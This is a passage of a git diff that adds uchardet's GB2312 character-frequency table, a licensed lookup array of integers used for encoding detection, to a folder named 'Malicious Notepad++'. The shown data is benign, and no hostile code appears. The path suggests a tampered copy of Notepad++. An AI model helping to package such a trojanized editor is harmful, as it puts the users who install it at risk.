+8374,8375,8376,8377,8378,8379,8380,8381,8382,8383,8384,8385,8386,8387,8388,8389, // 8390 +8390,8391,8392,8393,8394,8395,8396,8397,8398,8399,8400,8401,8402,8403,8404,8405, // 8406 +8406,8407,8408,8409,8410,8411,8412,8413,8414,8415,8416,8417,8418,8419,8420,8421, // 8422 +8422,8423,8424,8425,8426,8427,8428,8429,8430,8431,8432,8433,8434,8435,8436,8437, // 8438 +8438,8439,8440,8441,8442,8443,8444,8445,8446,8447,8448,8449,8450,8451,8452,8453, // 8454 +8454,8455,8456,8457,8458,8459,8460,8461,8462,8463,8464,8465,8466,8467,8468,8469, // 8470 +8470,8471,8472,8473,8474,8475,8476,8477,8478,8479,8480,8481,8482,8483,8484,8485, // 8486 +8486,8487,8488,8489,8490,8491,8492,8493,8494,8495,8496,8497,8498,8499,8500,8501, // 8502 +8502,8503,8504,8505,8506,8507,8508,8509,8510,8511,8512,8513,8514,8515,8516,8517, // 8518 +8518,8519,8520,8521,8522,8523,8524,8525,8526,8527,8528,8529,8530,8531,8532,8533, // 8534 +8534,8535,8536,8537,8538,8539,8540,8541,8542,8543,8544,8545,8546,8547,8548,8549, // 8550 +8550,8551,8552,8553,8554,8555,8556,8557,8558,8559,8560,8561,8562,8563,8564,8565, // 8566 +8566,8567,8568,8569,8570,8571,8572,8573,8574,8575,8576,8577,8578,8579,8580,8581, // 8582 +8582,8583,8584,8585,8586,8587,8588,8589,8590,8591,8592,8593,8594,8595,8596,8597, // 8598 +8598,8599,8600,8601,8602,8603,8604,8605,8606,8607,8608,8609,8610,8611,8612,8613, // 8614 +8614,8615,8616,8617,8618,8619,8620,8621,8622,8623,8624,8625,8626,8627,8628,8629, // 8630 +8630,8631,8632,8633,8634,8635,8636,8637,8638,8639,8640,8641,8642,8643,8644,8645, // 8646 +8646,8647,8648,8649,8650,8651,8652,8653,8654,8655,8656,8657,8658,8659,8660,8661, // 8662 +8662,8663,8664,8665,8666,8667,8668,8669,8670,8671,8672,8673,8674,8675,8676,8677, // 8678 +8678,8679,8680,8681,8682,8683,8684,8685,8686,8687,8688,8689,8690,8691,8692,8693, // 8694 +8694,8695,8696,8697,8698,8699,8700,8701,8702,8703,8704,8705,8706,8707,8708,8709, // 8710 +8710,8711,8712,8713,8714,8715,8716,8717,8718,8719,8720,8721,8722,8723,8724,8725, // 8726 +8726,8727,8728,8729,8730,8731,8732,8733,8734,8735,8736,8737,8738,8739,8740,8741, // 8742 //13973 +****************************************************************************************/ +}; + diff --git a/Malicious Notepad++/src/uchardet/GB2312Freq.tab b/Malicious Notepad++/src/uchardet/GB2312Freq.tab new file mode 100644 index 0000000..aee12ca --- /dev/null +++ b/Malicious Notepad++/src/uchardet/GB2312Freq.tab @@ -0,0 +1,491 @@ +/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ +/* ***** BEGIN LICENSE BLOCK ***** + * Version: MPL 1.1/GPL 2.0/LGPL 2.1 + * + * The contents of this file are subject to the Mozilla Public License Version + * 1.1 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * http://www.mozilla.org/MPL/ + * + * Software distributed under the License is distributed on an "AS IS" basis, + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License + * for the specific language governing rights and limitations under the + * License. + * + * The Original Code is Mozilla Communicator client code. + * + * The Initial Developer of the Original Code is + * Netscape Communications Corporation. + * Portions created by the Initial Developer are Copyright (C) 1998 + * the Initial Developer. All Rights Reserved. + * + * Contributor(s): + * + * Alternatively, the contents of this file may be used under the terms of + * either the GNU General Public License Version 2 or later (the "GPL"), or + * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), + * in which case the provisions of the GPL or the LGPL are applicable instead + * of those above. If you wish to allow use of your version of this file only + * under the terms of either the GPL or the LGPL, and not to allow others to + * use your version of this file under the terms of the MPL, indicate your + * decision by deleting the provisions above and replace them with the notice + * and other provisions required by the GPL or the LGPL. If you do not delete + * the provisions above, a recipient may use your version of this file under + * the terms of any one of the MPL, the GPL or the LGPL. + * + * ***** END LICENSE BLOCK ***** */ + +//GB2312 most frequently used character table + +//Char to FreqOrder table , from hz6763 + +/****************************************************************************** + * 512 --> 0.79 -- 0.79 + * 1024 --> 0.92 -- 0.13 + * 2048 --> 0.98 -- 0.06 + * 6768 --> 1.00 -- 0.02 + * + * Idea Distribution Ratio = 0.79135/(1-0.79135) = 3.79 + * Random Distribution Ration = 512 / (3755 - 512) = 0.157 + * + * Typical Distribution Ratio about 25% of Ideal one, still much higher that RDR + *****************************************************************************/ + +#define GB2312_TYPICAL_DISTRIBUTION_RATIO (float)0.9 + +#define GB2312_TABLE_SIZE 3760 + +static const PRInt16 GB2312CharToFreqOrder[] = +{ +1671, 749,1443,2364,3924,3807,2330,3921,1704,3463,2691,1511,1515, 572,3191,2205, +2361, 224,2558, 479,1711, 963,3162, 440,4060,1905,2966,2947,3580,2647,3961,3842, +2204, 869,4207, 970,2678,5626,2944,2956,1479,4048, 514,3595, 588,1346,2820,3409, + 249,4088,1746,1873,2047,1774, 581,1813, 358,1174,3590,1014,1561,4844,2245, 670, +1636,3112, 889,1286, 953, 556,2327,3060,1290,3141, 613, 185,3477,1367, 850,3820, +1715,2428,2642,2303,2732,3041,2562,2648,3566,3946,1349, 388,3098,2091,1360,3585, + 152,1687,1539, 738,1559, 59,1232,2925,2267,1388,1249,1741,1679,2960, 151,1566, +1125,1352,4271, 924,4296, 385,3166,4459, 310,1245,2850, 70,3285,2729,3534,3575, +2398,3298,3466,1960,2265, 217,3647, 864,1909,2084,4401,2773,1010,3269,5152, 853, +3051,3121,1244,4251,1895, 364,1499,1540,2313,1180,3655,2268, 562, 715,2417,3061, + 544, 336,3768,2380,1752,4075, 950, 280,2425,4382, 183,2759,3272, 333,4297,2155, +1688,2356,1444,1039,4540, 736,1177,3349,2443,2368,2144,2225, 565, 196,1482,3406, + 927,1335,4147, 692, 878,1311,1653,3911,3622,1378,4200,1840,2969,3149,2126,1816, +2534,1546,2393,2760, 737,2494, 13, 447, 245,2747, 38,2765,2129,2589,1079, 606, + 360, 471,3755,2890, 404, 848, 699,1785,1236, 370,2221,1023,3746,2074,2026,2023, +2388,1581,2119, 812,1141,3091,2536,1519, 804,2053, 406,1596,1090, 784, 548,4414, +1806,2264,2936,1100, 343,4114,5096, 622,3358, 743,3668,1510,1626,5020,3567,2513, +3195,4115,5627,2489,2991, 24,2065,2697,1087,2719, 48,1634, 315, 68, 985,2052, + 198,2239,1347,1107,1439, 597,2366,2172, 871,3307, 919,2487,2790,1867, 236,2570, +1413,3794, 906,3365,3381,1701,1982,1818,1524,2924,1205, 616,2586,2072,2004, 575, + 253,3099, 32,1365,1182, 197,1714,2454,1201, 554,3388,3224,2748, 756,2587, 250, +2567,1507,1517,3529,1922,2761,2337,3416,1961,1677,2452,2238,3153, 615, 911,1506, +1474,2495,1265,1906,2749,3756,3280,2161, 898,2714,1759,3450,2243,2444, 563, 26, +3286,2266,3769,3344,2707,3677, 611,1402, 531,1028,2871,4548,1375, 261,2948, 835, +1190,4134, 353, 840,2684,1900,3082,1435,2109,1207,1674, 329,1872,2781,4055,2686, +2104, 608,3318,2423,2957,2768,1108,3739,3512,3271,3985,2203,1771,3520,1418,2054, +1681,1153, 225,1627,2929, 162,2050,2511,3687,1954, 124,1859,2431,1684,3032,2894, + 585,4805,3969,2869,2704,2088,2032,2095,3656,2635,4362,2209, 256, 518,2042,2105, +3777,3657, 643,2298,1148,1779, 190, 989,3544, 414, 11,2135,2063,2979,1471, 403, +3678, 126, 770,1563, 671,2499,3216,2877, 600,1179, 307,2805,4937,1268,1297,2694, + 252,4032,1448,1494,1331,1394, 127,2256, 222,1647,1035,1481,3056,1915,1048, 873, +3651, 210, 33,1608,2516, 200,1520, 415, 102, 0,3389,1287, 817, 91,3299,2940, + 836,1814, 549,2197,1396,1669,2987,3582,2297,2848,4528,1070, 687, 20,1819, 121, +1552,1364,1461,1968,2617,3540,2824,2083, 177, 948,4938,2291, 110,4549,2066, 648, +3359,1755,2110,2114,4642,4845,1693,3937,3308,1257,1869,2123, 208,1804,3159,2992, +2531,2549,3361,2418,1350,2347,2800,2568,1291,2036,2680, 72, 842,1990, 212,1233, +1154,1586, 75,2027,3410,4900,1823,1337,2710,2676, 728,2810,1522,3026,4995, 157, + 755,1050,4022, 710, 785,1936,2194,2085,1406,2777,2400, 150,1250,4049,1206, 807, +1910, 534, 529,3309,1721,1660, 274, 39,2827, 661,2670,1578, 925,3248,3815,1094, +4278,4901,4252, 41,1150,3747,2572,2227,4501,3658,4902,3813,3357,3617,2884,2258, + 887, 538,4187,3199,1294,2439,3042,2329,2343,2497,1255, 107, 543,1527, 521,3478, +3568, 194,5062, 15, 961,3870,1241,1192,2664, 66,5215,3260,2111,1295,1127,2152, +3805,4135, 901,1164,1976, 398,1278, 530,1460, 748, 904,1054,1966,1426, 53,2909, + 509, 523,2279,1534, 536,1019, 239,1685, 460,2353, 673,1065,2401,3600,4298,2272, +1272,2363, 284,1753,3679,4064,1695, 81, 815,2677,2757,2731,1386, 859, 500,4221, +2190,2566, 757,1006,2519,2068,1166,1455, 337,2654,3203,1863,1682,1914,3025,1252, +1409,1366, 847, 714,2834,2038,3209, 964,2970,1901, 885,2553,1078,1756,3049, 301, +1572,3326, 688,2130,1996,2429,1805,1648,2930,3421,2750,3652,3088, 262,1158,1254, + 389,1641,1812, 526,1719, 923,2073,1073,1902, 468, 489,4625,1140, 857,2375,3070, +3319,2863, 380, 116,1328,2693,1161,2244, 273,1212,1884,2769,3011,1775,1142, 461, +3066,1200,2147,2212, 790, 702,2695,4222,1601,1058, 434,2338,5153,3640, 67,2360, +4099,2502, 618,3472,1329, 416,1132, 830,2782,1807,2653,3211,3510,1662, 192,2124, + 296,3979,1739,1611,3684, 23, 118, 324, 446,1239,1225, 293,2520,3814,3795,2535, +3116, 17,1074, 467,2692,2201, 387,2922, 45,1326,3055,1645,3659,2817, 958, 243, +1903,2320,1339,2825,1784,3289, 356, 576, 865,2315,2381,3377,3916,1088,3122,1713, +1655, 935, 628,4689,1034,1327, 441, 800, 720, 894,1979,2183,1528,5289,2702,1071, +4046,3572,2399,1571,3281, 79, 761,1103, 327, 134, 758,1899,1371,1615, 879, 442, + 215,2605,2579, 173,2048,2485,1057,2975,3317,1097,2253,3801,4263,1403,1650,2946, + 814,4968,3487,1548,2644,1567,1285, 2, 295,2636, 97, 946,3576, 832, 141,4257, +3273, 760,3821,3521,3156,2607, 949,1024,1733,1516,1803,1920,2125,2283,2665,3180, +1501,2064,3560,2171,1592, 803,3518,1416, 732,3897,4258,1363,1362,2458, 119,1427, + 602,1525,2608,1605,1639,3175, 694,3064, 10, 465, 76,2000,4846,4208, 444,3781, +1619,3353,2206,1273,3796, 740,2483, 320,1723,2377,3660,2619,1359,1137,1762,1724, +2345,2842,1850,1862, 912, 821,1866, 612,2625,1735,2573,3369,1093, 844, 89, 937, + 930,1424,3564,2413,2972,1004,3046,3019,2011, 711,3171,1452,4178, 428, 801,1943, + 432, 445,2811, 206,4136,1472, 730, 349, 73, 397,2802,2547, 998,1637,1167, 789, + 396,3217, 154,1218, 716,1120,1780,2819,4826,1931,3334,3762,2139,1215,2627, 552, +3664,3628,3232,1405,2383,3111,1356,2652,3577,3320,3101,1703, 640,1045,1370,1246, +4996, 371,1575,2436,1621,2210, 984,4033,1734,2638, 16,4529, 663,2755,3255,1451, +3917,2257,1253,1955,2234,1263,2951, 214,1229, 617, 485, 359,1831,1969, 473,2310, + 750,2058, 165, 80,2864,2419, 361,4344,2416,2479,1134, 796,3726,1266,2943, 860, +2715, 938, 390,2734,1313,1384, 248, 202, 877,1064,2854, 522,3907, 279,1602, 297, +2357, 395,3740, 137,2075, 944,4089,2584,1267,3802, 62,1533,2285, 178, 176, 780, +2440, 201,3707, 590, 478,1560,4354,2117,1075, 30, 74,4643,4004,1635,1441,2745, + 776,2596, 238,1077,1692,1912,2844, 605, 499,1742,3947, 241,3053, 980,1749, 936, +2640,4511,2582, 515,1543,2162,5322,2892,2993, 890,2148,1924, 665,1827,3581,1032, + 968,3163, 339,1044,1896, 270, 583,1791,1720,4367,1194,3488,3669, 43,2523,1657, + 163,2167, 290,1209,1622,3378, 550, 634,2508,2510, 695,2634,2384,2512,1476,1414, + 220,1469,2341,2138,2852,3183,2900,4939,2865,3502,1211,3680, 854,3227,1299,2976, +3172, 186,2998,1459, 443,1067,3251,1495, 321,1932,3054, 909, 753,1410,1828, 436, +2441,1119,1587,3164,2186,1258, 227, 231,1425,1890,3200,3942, 247, 959, 725,5254, +2741, 577,2158,2079, 929, 120, 174, 838,2813, 591,1115, 417,2024, 40,3240,1536, +1037, 291,4151,2354, 632,1298,2406,2500,3535,1825,1846,3451, 205,1171, 345,4238, + 18,1163, 811, 685,2208,1217, 425,1312,1508,1175,4308,2552,1033, 587,1381,3059, +2984,3482, 340,1316,4023,3972, 792,3176, 519, 777,4690, 918, 933,4130,2981,3741, + 90,3360,2911,2200,5184,4550, 609,3079,2030, 272,3379,2736, 363,3881,1130,1447, + 286, 779, 357,1169,3350,3137,1630,1220,2687,2391, 747,1277,3688,2618,2682,2601, +1156,3196,5290,4034,3102,1689,3596,3128, 874, 219,2783, 798, 508,1843,2461, 269, +1658,1776,1392,1913,2983,3287,2866,2159,2372, 829,4076, 46,4253,2873,1889,1894, + 915,1834,1631,2181,2318, 298, 664,2818,3555,2735, 954,3228,3117, 527,3511,2173, + 681,2712,3033,2247,2346,3467,1652, 155,2164,3382, 113,1994, 450, 899, 494, 994, +1237,2958,1875,2336,1926,3727, 545,1577,1550, 633,3473, 204,1305,3072,2410,1956, +2471, 707,2134, 841,2195,2196,2663,3843,1026,4940, 990,3252,4997, 368,1092, 437, +3212,3258,1933,1829, 675,2977,2893, 412, 943,3723,4644,3294,3283,2230,2373,5154, +2389,2241,2661,2323,1404,2524, 593, 787, 677,3008,1275,2059, 438,2709,2609,2240, +2269,2246,1446, 36,1568,1373,3892,1574,2301,1456,3962, 693,2276,5216,2035,1143, +2720,1919,1797,1811,2763,4137,2597,1830,1699,1488,1198,2090, 424,1694, 312,3634, +3390,4179,3335,2252,1214, 561,1059,3243,2295,2561, 975,5155,2321,2751,3772, 472, +1537,3282,3398,1047,2077,2348,2878,1323,3340,3076, 690,2906, 51, 369, 170,3541, +1060,2187,2688,3670,2541,1083,1683, 928,3918, 459, 109,4427, 599,3744,4286, 143, +2101,2730,2490, 82,1588,3036,2121, 281,1860, 477,4035,1238,2812,3020,2716,3312, +1530,2188,2055,1317, 843, 636,1808,1173,3495, 649, 181,1002, 147,3641,1159,2414, +3750,2289,2795, 813,3123,2610,1136,4368, 5,3391,4541,2174, 420, 429,1728, 754, +1228,2115,2219, 347,2223,2733, 735,1518,3003,2355,3134,1764,3948,3329,1888,2424, +1001,1234,1972,3321,3363,1672,1021,1450,1584, 226, 765, 655,2526,3404,3244,2302, +3665, 731, 594,2184, 319,1576, 621, 658,2656,4299,2099,3864,1279,2071,2598,2739, + 795,3086,3699,3908,1707,2352,2402,1382,3136,2475,1465,4847,3496,3865,1085,3004, +2591,1084, 213,2287,1963,3565,2250, 822, 793,4574,3187,1772,1789,3050, 595,1484, +1959,2770,1080,2650, 456, 422,2996, 940,3322,4328,4345,3092,2742, 965,2784, 739, +4124, 952,1358,2498,2949,2565, 332,2698,2378, 660,2260,2473,4194,3856,2919, 535, +1260,2651,1208,1428,1300,1949,1303,2942, 433,2455,2450,1251,1946, 614,1269, 641, +1306,1810,2737,3078,2912, 564,2365,1419,1415,1497,4460,2367,2185,1379,3005,1307, +3218,2175,1897,3063, 682,1157,4040,4005,1712,1160,1941,1399, 394, 402,2952,1573, +1151,2986,2404, 862, 299,2033,1489,3006, 346, 171,2886,3401,1726,2932, 168,2533, + 47,2507,1030,3735,1145,3370,1395,1318,1579,3609,4560,2857,4116,1457,2529,1965, + 504,1036,2690,2988,2405, 745,5871, 849,2397,2056,3081, 863,2359,3857,2096, 99, +1397,1769,2300,4428,1643,3455,1978,1757,3718,1440, 35,4879,3742,1296,4228,2280, + 160,5063,1599,2013, 166, 520,3479,1646,3345,3012, 490,1937,1545,1264,2182,2505, +1096,1188,1369,1436,2421,1667,2792,2460,1270,2122, 727,3167,2143, 806,1706,1012, +1800,3037, 960,2218,1882, 805, 139,2456,1139,1521, 851,1052,3093,3089, 342,2039, + 744,5097,1468,1502,1585,2087, 223, 939, 326,2140,2577, 892,2481,1623,4077, 982, +3708, 135,2131, 87,2503,3114,2326,1106, 876,1616, 547,2997,2831,2093,3441,4530, +4314, 9,3256,4229,4148, 659,1462,1986,1710,2046,2913,2231,4090,4880,5255,3392, +3274,1368,3689,4645,1477, 705,3384,3635,1068,1529,2941,1458,3782,1509, 100,1656, +2548, 718,2339, 408,1590,2780,3548,1838,4117,3719,1345,3530, 717,3442,2778,3220, +2898,1892,4590,3614,3371,2043,1998,1224,3483, 891, 635, 584,2559,3355, 733,1766, +1729,1172,3789,1891,2307, 781,2982,2271,1957,1580,5773,2633,2005,4195,3097,1535, +3213,1189,1934,5693,3262, 586,3118,1324,1598, 517,1564,2217,1868,1893,4445,3728, +2703,3139,1526,1787,1992,3882,2875,1549,1199,1056,2224,1904,2711,5098,4287, 338, +1993,3129,3489,2689,1809,2815,1997, 957,1855,3898,2550,3275,3057,1105,1319, 627, +1505,1911,1883,3526, 698,3629,3456,1833,1431, 746, 77,1261,2017,2296,1977,1885, + 125,1334,1600, 525,1798,1109,2222,1470,1945, 559,2236,1186,3443,2476,1929,1411, +2411,3135,1777,3372,2621,1841,1613,3229, 668,1430,1839,2643,2916, 195,1989,2671, +2358,1387, 629,3205,2293,5256,4439, 123,1310, 888,1879,4300,3021,3605,1003,1162, +3192,2910,2010, 140,2395,2859, 55,1082,2012,2901, 662, 419,2081,1438, 680,2774, +4654,3912,1620,1731,1625,5035,4065,2328, 512,1344, 802,5443,2163,2311,2537, 524, +3399, 98,1155,2103,1918,2606,3925,2816,1393,2465,1504,3773,2177,3963,1478,4346, + 180,1113,4655,3461,2028,1698, 833,2696,1235,1322,1594,4408,3623,3013,3225,2040, +3022, 541,2881, 607,3632,2029,1665,1219, 639,1385,1686,1099,2803,3231,1938,3188, +2858, 427, 676,2772,1168,2025, 454,3253,2486,3556, 230,1950, 580, 791,1991,1280, +1086,1974,2034, 630, 257,3338,2788,4903,1017, 86,4790, 966,2789,1995,1696,1131, + 259,3095,4188,1308, 179,1463,5257, 289,4107,1248, 42,3413,1725,2288, 896,1947, + 774,4474,4254, 604,3430,4264, 392,2514,2588, 452, 237,1408,3018, 988,4531,1970, +3034,3310, 540,2370,1562,1288,2990, 502,4765,1147, 4,1853,2708, 207, 294,2814, +4078,2902,2509, 684, 34,3105,3532,2551, 644, 709,2801,2344, 573,1727,3573,3557, +2021,1081,3100,4315,2100,3681, 199,2263,1837,2385, 146,3484,1195,2776,3949, 997, +1939,3973,1008,1091,1202,1962,1847,1149,4209,5444,1076, 493, 117,5400,2521, 972, +1490,2934,1796,4542,2374,1512,2933,2657, 413,2888,1135,2762,2314,2156,1355,2369, + 766,2007,2527,2170,3124,2491,2593,2632,4757,2437, 234,3125,3591,1898,1750,1376, +1942,3468,3138, 570,2127,2145,3276,4131, 962, 132,1445,4196, 19, 941,3624,3480, +3366,1973,1374,4461,3431,2629, 283,2415,2275, 808,2887,3620,2112,2563,1353,3610, + 955,1089,3103,1053, 96, 88,4097, 823,3808,1583, 399, 292,4091,3313, 421,1128, + 642,4006, 903,2539,1877,2082, 596, 29,4066,1790, 722,2157, 130, 995,1569, 769, +1485, 464, 513,2213, 288,1923,1101,2453,4316, 133, 486,2445, 50, 625, 487,2207, + 57, 423, 481,2962, 159,3729,1558, 491, 303, 482, 501, 240,2837, 112,3648,2392, +1783, 362, 8,3433,3422, 610,2793,3277,1390,1284,1654, 21,3823, 734, 367, 623, + 193, 287, 374,1009,1483, 816, 476, 313,2255,2340,1262,2150,2899,1146,2581, 782, +2116,1659,2018,1880, 255,3586,3314,1110,2867,2137,2564, 986,2767,5185,2006, 650, + 158, 926, 762, 881,3157,2717,2362,3587, 306,3690,3245,1542,3077,2427,1691,2478, +2118,2985,3490,2438, 539,2305, 983, 129,1754, 355,4201,2386, 827,2923, 104,1773, +2838,2771, 411,2905,3919, 376, 767, 122,1114, 828,2422,1817,3506, 266,3460,1007, +1609,4998, 945,2612,4429,2274, 726,1247,1964,2914,2199,2070,4002,4108, 657,3323, +1422, 579, 455,2764,4737,1222,2895,1670, 824,1223,1487,2525, 558, 861,3080, 598, +2659,2515,1967, 752,2583,2376,2214,4180, 977, 704,2464,4999,2622,4109,1210,2961, + 819,1541, 142,2284, 44, 418, 457,1126,3730,4347,4626,1644,1876,3671,1864, 302, +1063,5694, 624, 723,1984,3745,1314,1676,2488,1610,1449,3558,3569,2166,2098, 409, +1011,2325,3704,2306, 818,1732,1383,1824,1844,3757, 999,2705,3497,1216,1423,2683, +2426,2954,2501,2726,2229,1475,2554,5064,1971,1794,1666,2014,1343, 783, 724, 191, +2434,1354,2220,5065,1763,2752,2472,4152, 131, 175,2885,3434, 92,1466,4920,2616, +3871,3872,3866, 128,1551,1632, 669,1854,3682,4691,4125,1230, 188,2973,3290,1302, +1213, 560,3266, 917, 763,3909,3249,1760, 868,1958, 764,1782,2097, 145,2277,3774, +4462, 64,1491,3062, 971,2132,3606,2442, 221,1226,1617, 218, 323,1185,3207,3147, + 571, 619,1473,1005,1744,2281, 449,1887,2396,3685, 275, 375,3816,1743,3844,3731, + 845,1983,2350,4210,1377, 773, 967,3499,3052,3743,2725,4007,1697,1022,3943,1464, +3264,2855,2722,1952,1029,2839,2467, 84,4383,2215, 820,1391,2015,2448,3672, 377, +1948,2168, 797,2545,3536,2578,2645, 94,2874,1678, 405,1259,3071, 771, 546,1315, + 470,1243,3083, 895,2468, 981, 969,2037, 846,4181, 653,1276,2928, 14,2594, 557, +3007,2474, 156, 902,1338,1740,2574, 537,2518, 973,2282,2216,2433,1928, 138,2903, +1293,2631,1612, 646,3457, 839,2935, 111, 496,2191,2847, 589,3186, 149,3994,2060, +4031,2641,4067,3145,1870, 37,3597,2136,1025,2051,3009,3383,3549,1121,1016,3261, +1301, 251,2446,2599,2153, 872,3246, 637, 334,3705, 831, 884, 921,3065,3140,4092, +2198,1944, 246,2964, 108,2045,1152,1921,2308,1031, 203,3173,4170,1907,3890, 810, +1401,2003,1690, 506, 647,1242,2828,1761,1649,3208,2249,1589,3709,2931,5156,1708, + 498, 666,2613, 834,3817,1231, 184,2851,1124, 883,3197,2261,3710,1765,1553,2658, +1178,2639,2351, 93,1193, 942,2538,2141,4402, 235,1821, 870,1591,2192,1709,1871, +3341,1618,4126,2595,2334, 603, 651, 69, 701, 268,2662,3411,2555,1380,1606, 503, + 448, 254,2371,2646, 574,1187,2309,1770, 322,2235,1292,1801, 305, 566,1133, 229, +2067,2057, 706, 167, 483,2002,2672,3295,1820,3561,3067, 316, 378,2746,3452,1112, + 136,1981, 507,1651,2917,1117, 285,4591, 182,2580,3522,1304, 335,3303,1835,2504, +1795,1792,2248, 674,1018,2106,2449,1857,2292,2845, 976,3047,1781,2600,2727,1389, +1281, 52,3152, 153, 265,3950, 672,3485,3951,4463, 430,1183, 365, 278,2169, 27, +1407,1336,2304, 209,1340,1730,2202,1852,2403,2883, 979,1737,1062, 631,2829,2542, +3876,2592, 825,2086,2226,3048,3625, 352,1417,3724, 542, 991, 431,1351,3938,1861, +2294, 826,1361,2927,3142,3503,1738, 463,2462,2723, 582,1916,1595,2808, 400,3845, +3891,2868,3621,2254, 58,2492,1123, 910,2160,2614,1372,1603,1196,1072,3385,1700, +3267,1980, 696, 480,2430, 920, 799,1570,2920,1951,2041,4047,2540,1321,4223,2469, +3562,2228,1271,2602, 401,2833,3351,2575,5157, 907,2312,1256, 410, 263,3507,1582, + 996, 678,1849,2316,1480, 908,3545,2237, 703,2322, 667,1826,2849,1531,2604,2999, +2407,3146,2151,2630,1786,3711, 469,3542, 497,3899,2409, 858, 837,4446,3393,1274, + 786, 620,1845,2001,3311, 484, 308,3367,1204,1815,3691,2332,1532,2557,1842,2020, +2724,1927,2333,4440, 567, 22,1673,2728,4475,1987,1858,1144,1597, 101,1832,3601, + 12, 974,3783,4391, 951,1412, 1,3720, 453,4608,4041, 528,1041,1027,3230,2628, +1129, 875,1051,3291,1203,2262,1069,2860,2799,2149,2615,3278, 144,1758,3040, 31, + 475,1680, 366,2685,3184, 311,1642,4008,2466,5036,1593,1493,2809, 216,1420,1668, + 233, 304,2128,3284, 232,1429,1768,1040,2008,3407,2740,2967,2543, 242,2133, 778, +1565,2022,2620, 505,2189,2756,1098,2273, 372,1614, 708, 553,2846,2094,2278, 169, +3626,2835,4161, 228,2674,3165, 809,1454,1309, 466,1705,1095, 900,3423, 880,2667, +3751,5258,2317,3109,2571,4317,2766,1503,1342, 866,4447,1118, 63,2076, 314,1881, +1348,1061, 172, 978,3515,1747, 532, 511,3970, 6, 601, 905,2699,3300,1751, 276, +1467,3725,2668, 65,4239,2544,2779,2556,1604, 578,2451,1802, 992,2331,2624,1320, +3446, 713,1513,1013, 103,2786,2447,1661, 886,1702, 916, 654,3574,2031,1556, 751, +2178,2821,2179,1498,1538,2176, 271, 914,2251,2080,1325, 638,1953,2937,3877,2432, +2754, 95,3265,1716, 260,1227,4083, 775, 106,1357,3254, 426,1607, 555,2480, 772, +1985, 244,2546, 474, 495,1046,2611,1851,2061, 71,2089,1675,2590, 742,3758,2843, +3222,1433, 267,2180,2576,2826,2233,2092,3913,2435, 956,1745,3075, 856,2113,1116, + 451, 3,1988,2896,1398, 993,2463,1878,2049,1341,2718,2721,2870,2108, 712,2904, +4363,2753,2324, 277,2872,2349,2649, 384, 987, 435, 691,3000, 922, 164,3939, 652, +1500,1184,4153,2482,3373,2165,4848,2335,3775,3508,3154,2806,2830,1554,2102,1664, +2530,1434,2408, 893,1547,2623,3447,2832,2242,2532,3169,2856,3223,2078, 49,3770, +3469, 462, 318, 656,2259,3250,3069, 679,1629,2758, 344,1138,1104,3120,1836,1283, +3115,2154,1437,4448, 934, 759,1999, 794,2862,1038, 533,2560,1722,2342, 855,2626, +1197,1663,4476,3127, 85,4240,2528, 25,1111,1181,3673, 407,3470,4561,2679,2713, + 768,1925,2841,3986,1544,1165, 932, 373,1240,2146,1930,2673, 721,4766, 354,4333, + 391,2963, 187, 61,3364,1442,1102, 330,1940,1767, 341,3809,4118, 393,2496,2062, +2211, 105, 331, 300, 439, 913,1332, 626, 379,3304,1557, 328, 689,3952, 309,1555, + 931, 317,2517,3027, 325, 569, 686,2107,3084, 60,1042,1333,2794, 264,3177,4014, +1628, 258,3712, 7,4464,1176,1043,1778, 683, 114,1975, 78,1492, 383,1886, 510, + 386, 645,5291,2891,2069,3305,4138,3867,2939,2603,2493,1935,1066,1848,3588,1015, +1282,1289,4609, 697,1453,3044,2666,3611,1856,2412, 54, 719,1330, 568,3778,2459, +1748, 788, 492, 551,1191,1000, 488,3394,3763, 282,1799, 348,2016,1523,3155,2390, +1049, 382,2019,1788,1170, 729,2968,3523, 897,3926,2785,2938,3292, 350,2319,3238, +1718,1717,2655,3453,3143,4465, 161,2889,2980,2009,1421, 56,1908,1640,2387,2232, +1917,1874,2477,4921, 148, 83,3438, 592,4245,2882,1822,1055, 741, 115,1496,1624, + 381,1638,4592,1020, 516,3214, 458, 947,4575,1432, 211,1514,2926,1865,2142, 189, + 852,1221,1400,1486, 882,2299,4036, 351, 28,1122, 700,6479,6480,6481,6482,6483, //last 512 + +/*************************************************************************************** + *Everything below is of no interest for detection purpose * + *************************************************************************************** + +5508,6484,3900,3414,3974,4441,4024,3537,4037,5628,5099,3633,6485,3148,6486,3636, +5509,3257,5510,5973,5445,5872,4941,4403,3174,4627,5873,6276,2286,4230,5446,5874, +5122,6102,6103,4162,5447,5123,5323,4849,6277,3980,3851,5066,4246,5774,5067,6278, +3001,2807,5695,3346,5775,5974,5158,5448,6487,5975,5976,5776,3598,6279,5696,4806, +4211,4154,6280,6488,6489,6490,6281,4212,5037,3374,4171,6491,4562,4807,4722,4827, +5977,6104,4532,4079,5159,5324,5160,4404,3858,5359,5875,3975,4288,4610,3486,4512, +5325,3893,5360,6282,6283,5560,2522,4231,5978,5186,5449,2569,3878,6284,5401,3578, +4415,6285,4656,5124,5979,2506,4247,4449,3219,3417,4334,4969,4329,6492,4576,4828, +4172,4416,4829,5402,6286,3927,3852,5361,4369,4830,4477,4867,5876,4173,6493,6105, +4657,6287,6106,5877,5450,6494,4155,4868,5451,3700,5629,4384,6288,6289,5878,3189, +4881,6107,6290,6495,4513,6496,4692,4515,4723,5100,3356,6497,6291,3810,4080,5561, +3570,4430,5980,6498,4355,5697,6499,4724,6108,6109,3764,4050,5038,5879,4093,3226, +6292,5068,5217,4693,3342,5630,3504,4831,4377,4466,4309,5698,4431,5777,6293,5778, +4272,3706,6110,5326,3752,4676,5327,4273,5403,4767,5631,6500,5699,5880,3475,5039, +6294,5562,5125,4348,4301,4482,4068,5126,4593,5700,3380,3462,5981,5563,3824,5404, +4970,5511,3825,4738,6295,6501,5452,4516,6111,5881,5564,6502,6296,5982,6503,4213, +4163,3454,6504,6112,4009,4450,6113,4658,6297,6114,3035,6505,6115,3995,4904,4739, +4563,4942,4110,5040,3661,3928,5362,3674,6506,5292,3612,4791,5565,4149,5983,5328, +5259,5021,4725,4577,4564,4517,4364,6298,5405,4578,5260,4594,4156,4157,5453,3592, +3491,6507,5127,5512,4709,4922,5984,5701,4726,4289,6508,4015,6116,5128,4628,3424, +4241,5779,6299,4905,6509,6510,5454,5702,5780,6300,4365,4923,3971,6511,5161,3270, +3158,5985,4100, 